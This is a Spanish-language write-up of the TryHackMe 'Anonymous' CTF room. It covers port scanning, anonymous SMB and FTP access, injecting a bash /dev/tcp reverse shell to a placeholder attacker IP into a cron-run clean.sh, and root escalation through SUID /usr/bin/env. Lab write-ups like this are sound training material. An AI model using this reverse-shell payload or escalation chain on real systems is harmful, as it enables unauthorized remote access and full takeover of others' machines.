// TryHackMe — CTF — Writeup

ANONYMOUS

#linux #anon-ftp #smb #cron-job #rce #suid-env
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo de puertos para mapear toda la superficie de ataque antes de pasar al análisis de servicios.

escaneo completo
nmap -p- -T5 <IP> -oG allPorts
escaneo de servicios y versiones
nmap -p21,22,139,445 -T5 -sSCV -n -Pn <IP> -oN scan.txt
PUERTO ESTADO SERVICIO VERSIÓN
21/tcpOPENftpvsftpd 2.0.8
22/tcpOPENsshOpenSSH 7.6p1 Ubuntu
139/tcpOPENnetbios-ssnSamba 3.X – 4.X
445/tcpOPENmicrosoft-dsSamba 4.7.6-Ubuntu
Superficie de ataque
Cuatro servicios expuestos: FTP con anonymous login habilitado, SSH estándar en puerto 22 y un servidor Samba con shares accesibles. El SMB expone imágenes que invitan a pensar en esteganografía — rabbit hole.
// 02

SMB — Rabbit hole de imágenes

Se enumera el servidor Samba para listar los shares disponibles y acceder al contenido sin credenciales.

listado de shares
smbclient -L //<IP>/ -N
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers pics Disk My SMB Share Directory for Pics IPC$ IPC IPC Service
acceso al share pics y descarga
smbclient //<IP>/pics -N smb: \> ls corgo2.jpg puppos.jpg smb: \> mget *
Esteganografía descartada
Las imágenes corgo2.jpg y puppos.jpg no contienen datos ocultos. steghide, exiftool y strings no revelan nada relevante. El vector real está en el FTP.
// 03

FTP ANÓNIMO — Script de limpieza

El escaneo detecta que el FTP permite anonymous login. El directorio /scripts contiene tres ficheros relevantes.

acceso anónimo y listado
ftp <IP> Name: anonymous Password: [intro] ftp> cd scripts ftp> ls -la
-rwxr-xr-x 1 1000 1000 314 May 12 2020 clean.sh -rw-rw-r-- 1 1000 1000 1404 Mar 27 19:45 removed_files.log -rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
contenido de to_do.txt
I really need to disable the anonymous FTP login... It's a security risk and 2020 is super busy. I'll get to it... - ftp_admin
contenido de clean.sh
#!/bin/bash tmp_files=0 echo $tmp_files if [ $tmp_files=0 ] then echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log else for LINE in $tmp_files; do rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done fi
Cron job identificado
El fichero removed_files.log se actualiza periódicamente sin intervención manual. Esto confirma que existe una tarea programada ejecutando clean.sh como usuario del sistema. El directorio /scripts es escribible por anonymous.
// 04

EXPLOTACIÓN — Reverse shell via cron

Se descarga clean.sh, se inyecta un payload de reverse shell al inicio del script y se vuelve a subir con put sin borrar el original para preservar permisos.

descarga del script original
ftp> get clean.sh
clean.sh modificado — payload añadido en línea 3
#!/bin/bash bash -c "bash -i >& /dev/tcp/<IP_ATACANTE>/4444 0>&1" tmp_files=0 echo $tmp_files ...
subida sin borrar — preserva permisos del servidor
ftp> put clean.sh
local: clean.sh remote: clean.sh 226 Transfer complete.
put vs dele + put
Hacer put directamente sobre un fichero existente sobreescribe el contenido pero mantiene los permisos originales del servidor. Hacer dele primero y luego put crea un fichero nuevo con permisos por defecto (rw-r--r--), sin bit de ejecución.
listener en kali
nc -lvnp 4444
connect to [<IP_ATACANTE>] from (UNKNOWN) [<IP>] 52346 namelessone@anonymous:~$
USER FLAG cat ~/user.txt
// 05

PRIVILEGE ESCALATION — SUID /usr/bin/env

Se buscan binarios con el bit SUID activo. El output del find es extenso y /usr/bin/env pasa fácilmente desapercibido entre los binarios legítimos del sistema.

búsqueda de binarios SUID
find / -perm -4000 -ls 2>/dev/null
... 918399 28 -rwsr-xr-x 1 root root 26696 Jan 8 2020 /usr/bin/env ...
SUID en /usr/bin/env — GTFOBins
/usr/bin/env con el bit SUID permite lanzar cualquier comando heredando el UID de root. Al ejecutar /usr/bin/env /bin/sh -p, la shell resultante mantiene el UID efectivo 0 gracias al flag -p, que impide que sh descarte los privilegios elevados.
explotación via GTFOBins
/usr/bin/env /bin/sh -p
# whoami root
¿Por qué funciona?
env es un binario que ejecuta comandos en un entorno modificado. Cuando tiene el bit SUID activo, corre con UID 0 (root). Al lanzar /bin/sh -p desde él, la shell hereda ese UID efectivo. El flag -p evita que sh descarte los privilegios al detectar que el UID real y el efectivo difieren.
ROOT FLAG cat /root/root.txt
// RESUMEN

CADENA DE ATAQUE

01
SMB — Rabbit hole de imágenes
Share pics accesible sin credenciales → corgo2.jpg y puppos.jpg sin datos ocultos — esteganografía descartada
02
FTP Anónimo — Script de limpieza
Login anónimo en vsftpd → directorio /scripts escribible → removed_files.log actualizado automáticamente confirma cron job activo
03
Cron job — Reverse shell como namelessone
Payload inyectado en clean.sh y subido con put → cron ejecuta bash clean.sh → shell como namelessoneuser.txt
SUID /usr/bin/env → Root
/usr/bin/env con SUID activo → /usr/bin/env /bin/sh -p → UID efectivo 0 → root.txt